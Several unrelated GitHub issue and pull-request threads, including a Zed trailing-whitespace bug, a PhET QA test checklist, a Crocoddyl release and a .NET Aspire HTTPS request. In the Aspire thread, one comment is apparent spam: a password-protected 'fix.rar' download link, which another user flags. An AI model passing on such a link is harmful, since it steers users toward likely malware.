You may also find help on our community channels https://forum.crystal-lang.org/ and https://crystal-lang.org/community/#chat


Changing lines in yaml file causes other unchanged lines to show as changed

Check for existing issues

[X] Completed

Describe the bug / provide steps to reproduce it
When editing the following file checked in to a git repo as 'main.yml'. If I comment out lines 19-27 and save the file, the following unchanged lines also show as changed: 52, 53, 58-61, 63-64.
 - name: set timezone to UTC
   timezone:
      name: Etc/UTC

 - name: set hostname
   hostname:
      name: "{{ service_name }}"

 - name: set hostname in hosts file
   lineinfile:
      dest: /etc/hosts
      regexp: '^127\.0\.1\.1'
      line: "<IP_ADDRESS> {{ service_name }}"
      owner: root
      group: root
      mode: 0644

 - name: copy rc.conf
   copy:
      src: rc.conf
      dest: /etc/rc.conf

 - name: rng.conf rsyslog config to move noisy log to separate file
   copy:
      src: rng.conf
      dest: /etc/rsyslog.d/rng.conf

 - name: restart rsyslog
   systemd:
       state: restarted
       name: rsyslog

 - name: copy vimrc so we can edit files nicely
   copy:
      src: vimrc
      dest: "/home/pi/.vimrc"
      owner: pi
      group: pi
      mode: 0644

 - name: add base packages required
   apt:
      name:
       - git
       - vim
       - python3-pip
       - python3-rpi.gpio
       - mosh
      state: latest
      update_cache: yes

 - name: set vim as the default editor
   alternatives:
      name: editor
      path: /usr/bin/vim.tiny

 - name: disable led activity light
   blockinfile:
      path: /boot/config.txt
      marker: "# {mark} ANSIBLE MANAGED BLOCK: disable activity light"
      content: |
         dtparam=act_led_trigger=none
         dtparam=act_led_activelow=on

Environment
Zed: v0.107.6 (stable)
OS: macOS 14.0.0
Memory: 16 GiB
Architecture: aarch64
If applicable, add mockups / screenshots to help explain present your vision of the feature
No response
If applicable, attach your ~/Library/Logs/Zed/Zed.log file to this issue.
If you only need the most recent lines, you can run the zed: open log command palette action to see the last 1000.
No response

Hey @kefabean - Hmm, I'm not able to reproduce any additional lines of change on my end, but maybe something didn't transfer properly when copying the file contents into the issue body. Could you include the file itself as an attachment before making any changes to it? It might also be helpful to see what the diff looks like after you comment the lines out and save, in case nothing surfaces on my side again after checking the actual file.

main.yml.zip
Hi there, yes of course. Hopefully the file is zipped up in the link above. The file needs to be checked in to a git repo. After commenting out the lines as described this is the git diff I see (see below). The first chunk show the lines I've commented out, the second chunk shows the change to unchanged lines - note there is no visible change to the lines, I might have a look with a hex editor or something.
% git diff main.yml
diff --git a/roles/base/tasks/main.yml b/roles/base/tasks/main.yml
index 9041144..ed8747c 100644
--- a/roles/base/tasks/main.yml
+++ b/roles/base/tasks/main.yml
@@ -16,15 +16,15 @@
       group: root
       mode: 0644

- - name: copy rc.conf
-   copy:
-      src: rc.conf
-      dest: /etc/rc.conf
+ # - name: copy rc.conf
+ #   copy:
+ #      src: rc.conf
+ #      dest: /etc/rc.conf

- - name: rng.conf rsyslog config to move noisy log to separate file
-   copy:
-      src: rng.conf
-      dest: /etc/rsyslog.d/rng.conf
+ # - name: rng.conf rsyslog config to move noisy log to separate file
+ #   copy:
+ #      src: rng.conf
+ #      dest: /etc/rsyslog.d/rng.conf

  - name: restart rsyslog
    systemd:
@@ -49,16 +49,16 @@
        - mosh
       state: latest
       update_cache: yes
-
- - name: set vim as the default editor
+
+ - name: set vim as the default editor
    alternatives:
       name: editor
       path: /usr/bin/vim.tiny

- - name: disable led activity light
-   blockinfile:
-      path: /boot/config.txt
-      marker: "# {mark} ANSIBLE MANAGED BLOCK: disable activity light"
+ - name: disable led activity light
+   blockinfile:
+      path: /boot/config.txt
+      marker: "# {mark} ANSIBLE MANAGED BLOCK: disable activity light"
       content: |
-         dtparam=act_led_trigger=none
-         dtparam=act_led_activelow=on
+         dtparam=act_led_trigger=none
+         dtparam=act_led_activelow=on
(END)

I had a look at the files in a bit more detail (and in hex) and it looks like spaces at the end of these lines are getting stripped out.

Just realised I'm getting these spaces stripped out if I just open the file and save. No need to make any modifications to the file. Could it be related to #1912 ?

If its is not changing the formatting at all, and simply stripping / normalizing trailing whitespace / newlines, then that is a expected - there is a setting to turn that off. If it is moving your content around, then that is a bug for sure.

Doh user error, found it: "remove_trailing_whitespace_on_save": true
Can confirm turning this off 'fixes' the issue! 🤦

Awesome - thanks for letting us know!


changed the dependency for react-joyride,removed the ^. the update re…

…moved the lib folder and with ^ it wasnt finding the path

Thanks for the PR.  I moved the base to the develop branch.  In the future, please create your feature/bugfix branches off of develop, as that will have the latest commits.  The master branch is the release branch.

Also, it looks like your fork is out of date.  Check here to see how to keep a fork updated.  https://help.github.com/articles/syncing-a-fork/

Coverage remained the same at 93.141% when pulling 9c30f6e427cc2558cd0ea71ca87f60a8846a45eb on YoungMetroTrustedUs:featured/bugFix into 6123d51183d60e530eb1fe09b324470ac2c83eb0 on hunterjm:master.


Dev Test: Equality Explorer: Basics 1.2.0-dev.1

Dev Test
Mentions: @amanda-phet @kathy-phet @KatieWoe
Simulation links

github repository for issues
phet top-level directory
sim: all_phet.html

Test Matrix
Please include all (non-screen reader) feature testing in these records if applicable.

[x] Latest macOS, Safari (Time =1 ) (Tester = NS)
[x] Latest iOS, Safari (Time = 1) (Tester = KW)
[x] Windows 10/11, Firefox (Time =1.5 ) (Tester = MM)
[x] Windows 11, Chrome (Time = 1.5) (Tester = KW)
[x] Latest Chrome OS, Chrome (Time =1 ) (Tester = NS)

Light testing, or optionally skip if time crunch:

[ ] Latest macOS, Chrome (Time = ) (Tester = )
[ ] Windows 10, Chrome (Time = ) (Tester = )

Features included

PhET-iO
Dynamic Locale
Alternative Input
UI Sound
Sonification
Description
Voicing

Focus and Special Instructions
This sim is part of a suite. Please complete https://github.com/phetsims/qa/issues/1172 before doing this test. How this sim compares to the full sim:

The Basics screen in this sim is identical to the Basics screen in the Equality Explorer sim. So you can do a dev-lite test on the Basics screen here.
The Lab screen is similar to the Variables screen in the Equality Explorer simulation, but
uses symbolic objects (circle, cube, triangle) instead of mathematical symbols (x, y) for variables. You should do a full dev test on this screen.

Please include a memory test.
Compare to the published version for regressions or unexpected changes.
Note the following known issues that I will be working on during this dev test:

https://github.com/phetsims/equality-explorer/issues/211

Issues to Verify
These issues have the "status:ready-for-review" label. Unless an issue says to close after verifying, assign the
issue back to the developer.

[x] https://github.com/phetsims/equality-explorer/issues/181
[x] https://github.com/phetsims/equality-explorer/issues/187
[x] https://github.com/phetsims/equality-explorer/issues/209

For QA...

General features

What to Test

Click every single button.
If there is sound, make sure it works.
Make sure you can't lose anything.
Play with the sim normally.
Try to break the sim.
Try to include browser version numbers
If there is a console available, check for errors and include them in the Problem Description.
Run through the string tests on at least one platform, especially if it is about to go to rc.
Check the Game Up harness on one platform.

PhET-iO features

What to Test

Make sure that public files do not have password protection. Use a private browser for this.
Make sure that private files do have password protection. Use a private browser for this.
Make sure standalone sim is working properly.
Make sure the wrapper index is working properly.
Make sure each wrapper is working properly.
Launch the simulation in Studio with ?stringTest=xss and make sure the sim doesn't navigate to youtube
For newer PhET-iO wrapper indices, save the "basic example of a functional wrapper" as a .html file and open it. Make
sure the simulation loads without crashing or throwing errors.

Accessibility features

What to Test

Specific instructions can be found above.

Make sure the accessibility (a11y) feature that is being tested doesn't negatively affect the sim in any way. Here is
a list of features that may be supported in this test:

Alternative Input
Interactive Description
Sound and Sonification
Pan and Zoom
Mobile Description
Voicing

Test all possible forms of input.

Test all mouse/trackpad inputs.
Test all touchscreen inputs.
Test all keyboard navigation inputs (if applicable).
Test all forms of input with a screen reader (if applicable).

Screen Readers
This sim may support screen readers. If you are unfamiliar with screen readers, please ask Katie to introduce you to
screen readers. If you simply need a refresher on screen readers, please consult the
QA Book, which should have all of the information
you need as well as a link to a screen reader tutorial made by Jesse. Otherwise, look over the a11y view before opening
the simulation. Once you've done that, open the simulation and make sure alerts and descriptions work as intended.

Platforms and Screen Readers to Be Tested

Windows 10 + Latest Chrome + Latest JAWS
Windows 10 + Latest Firefox + Latest NVDA
macOS + Safari + VoiceOver
iOS + Safari + VoiceOver (only if specified in testing issue)

Critical Screen Reader Information
We are tracking known screen reader bugs in
here. If you find a screen reader bug,
please check it against this list.

Keyboard Navigation
This sim supports keyboard navigation. Please make sure it works as intended on all platforms by itself and with a
screen reader.
Magnification
This sim supports magnification with pinch and drag gestures on touch screens, keyboard shortcuts, and mouse/wheel
controls. Please test magnfication and make sure it is working as intended and well with the use cases of the
simulation. Due to the way screen readers handle user input, magnification is NOT expected to work while using a screen
reader so there is no need to test this case.

FAQs for QA Members

There are multiple tests in this issue... Which test should I do first?
Test in order! Test the first thing first, the second thing second, and so on.

How should I format my issue?

We typically assign the developer who opened the issue in the QA repository.

My question isn't in here... What should I do?
You should:

Consult the QA Book.
Google it.
Ask Katie.
Ask a developer.
Google it again.
Cry.

Memory test looks ok

Thanks QA! All issues have been addressed, so we'll proceed with RC testing.

Thanks QA! All issues have been addressed, so we'll proceed with RC testing.


Update teams-panels.md

Logitech added as certified panel.

@JohanFreelancer9 Copy editing is needed for this PR. Thanks.

@ManikaDhiman PR has been copyedited and is ready for final review, could you please check and merge? Thanks!

Hi @scanum, I am no longer working with the Teams panels doc team. Could you please reassign this PR to the appropriate author? Thanks!

Hi @ManikaDhiman Could you kindly help with providing the contact person? Thanks.

Hi @ManikaDhiman Could you kindly help with providing the contact person? Thanks.

Hi @dstrome: Could you review the proposed changes please? Thanks!

@dstrome
PR has been copyedited and is ready for final review, could you please check and merge? Thanks!

Not approved by PM. Already in the list now.


The message header '--batch_batchId' is invalid

Add a linebreak at the end of batch gets to allow CRM to correctly parse the request
Fixes #23

:tada: This PR is included in version 5.0.2 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


adding GetComponent to networkmanager awake

Onvalidate does not run when a networkmanager is created at runtime. This means that there is now way to set the transport. Adding GetComponent to Awake will allow someone to add transport then networkmanager at runtime.
This will help us create Transports in tests.

@MrGadget1024  Would you be ok with replacing it with a lazy initialized property like in NetworkIdentity with  networkBehavioursCache?

I'm in the process this afternoon of looking for anything with zero refs and flagging it for removal.  If it only lives to satisfy unit tests, that's just wrong.
Network Manager is, for all intents and purposes, a base class.  If it wouldn't shatter everyone's project I'd make it Abstract.

Having code some extra stuff just for test is fine. It will make it easier to write tests which will help us make Mirrors code more stable. Imo having stable code is more important than if it "looks nice".
I'll close this for now since Network Manager needs a lot of refactoring anyway.


Release v1.6.0

Hi @nim65s,
It has been a while that we do not release Crocoddyl.
This new version incorporates the following points:

Refactored the Cost API with breaking compatibility (cost depends on state abstract, not multibody state)
Fixed issue in c++98 compatibility
Added shared_ptr registers for solver classes (Python bindings)
Initialized missed data in SolverQP (not really producing a bug)
Fixed issue with FrameXXX allocators (Python bindings)
Created aligned std vectors for FrameXXX (Python bindings)
Used the proper nu-dimension in shooting problem and solvers
Doxygen documentation of smooth-abs activation
Renamed the activation model: smooth-abs to smooth-1norm (deprecated old names)
Added the smooth-2norm activation model with Python bindings
Updated README file with Credits and committee information
Added throw_pretty in Python bindings of action models (checks x,u dimensions)
Improved the documentation (doxygen, docstrings), and fixed grammar, of various classes
Cleaned up a few things related with cost classes
Cleaned up unnecessary typedef in cost models
Extended the differential action model for contacts to handle any actuation model (not just floating-base derived ones)
Added conda support
Added the quadratic-flat activation models
Fixed issue with gepetto viewer display (appearing in some OS)
Added contact/impulse action unit tests
Added contact/impulse cost unit tests
Added a proper gap threshold (it was too big and created different behavior in feasibility-driven solvers)
Improved the copyright starting year for many files

I have pushed this branch to my current fork, feel free to push the needed commits before the release.

Hi ! This project doesn't usually accept pull requests on master. If this wasn't intentionnal, you can change the base branch of this pull request to devel (No need to close it for that). Best, a bot.

Hi ! This project doesn't usually accept pull requests on master. If this wasn't intentionnal, you can change the base branch of this pull request to devel (No need to close it for that). Best, a bot.

@nim65s should we include the online documentation in the README file (i.e., https://gepettoweb.laas.fr/doc/loco-3d/crocoddyl/master/doxygen-html/)?
Note that I did not complete the documentation of each class; however, there is a reasonable number of documented classes.

@nim65s should we include the online documentation in the README file (i.e., https://gepettoweb.laas.fr/doc/loco-3d/crocoddyl/master/doxygen-html/)?
Note that I did not complete the documentation of each class; however, there is a reasonable number of documented classes.

Yes! :)
It would definitely be helpful and we have enough content to get started

Yes! :)
It would definitely be helpful and we have enough content to get started

@proyan and @nim65s  --  I have included the documentation in the README file (aed7a81).
For my side, @nim65s -- you could go ahead with this release :)

@proyan and @nim65s  --  I have included the documentation in the README file (aed7a81).
For my side, @nim65s -- you could go ahead with this release :)

Done, sorry for the delay :/

Thanks @nim65s :)


Aspire Assistance with HTTPS

Is there an existing issue for this?

[X] I have searched the existing issues

Is your feature request related to a problem? Please describe the problem.
The Aspire dashboard provides an https OTLP endpoint for publishing observability data. Since it runs locally with dotnet dev-certs containers with their own isolated network are not able to publish metrics, traces etc. as they do not trust the dev-certs. In addition, dev-certs are only for localhost not host.docker.internal which is used to communicate with the dashboard.
Describe the solution you'd like
Aspire should help with setting up HTTPS between container and non-container resources. This would allow developers to work with SSL locally in a painless way.
Additional context
See discussion https://github.com/dotnet/aspire/discussions/5221

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Can someone block or report the spammer that responded?

@JamesNK we should consider defaulting the OTLP url to HTTP by default. Making HTTPs work inside of arbitrary containers will be lots of work. In the mean time, maybe we can unblock the most common scenarios where it shows up.

Note that some samples are now being updated to show one way this can be achieved by exporting and injecting the ASP.NET Core HTTPS development certificate into other resources including containers: https://github.com/dotnet/aspire-samples/blob/0c27e4e3bac5f102db1002fd2e0e1ba894e1009a/samples/AspireWithNode/AspireWithNode.AppHost/Program.cs#L21-L24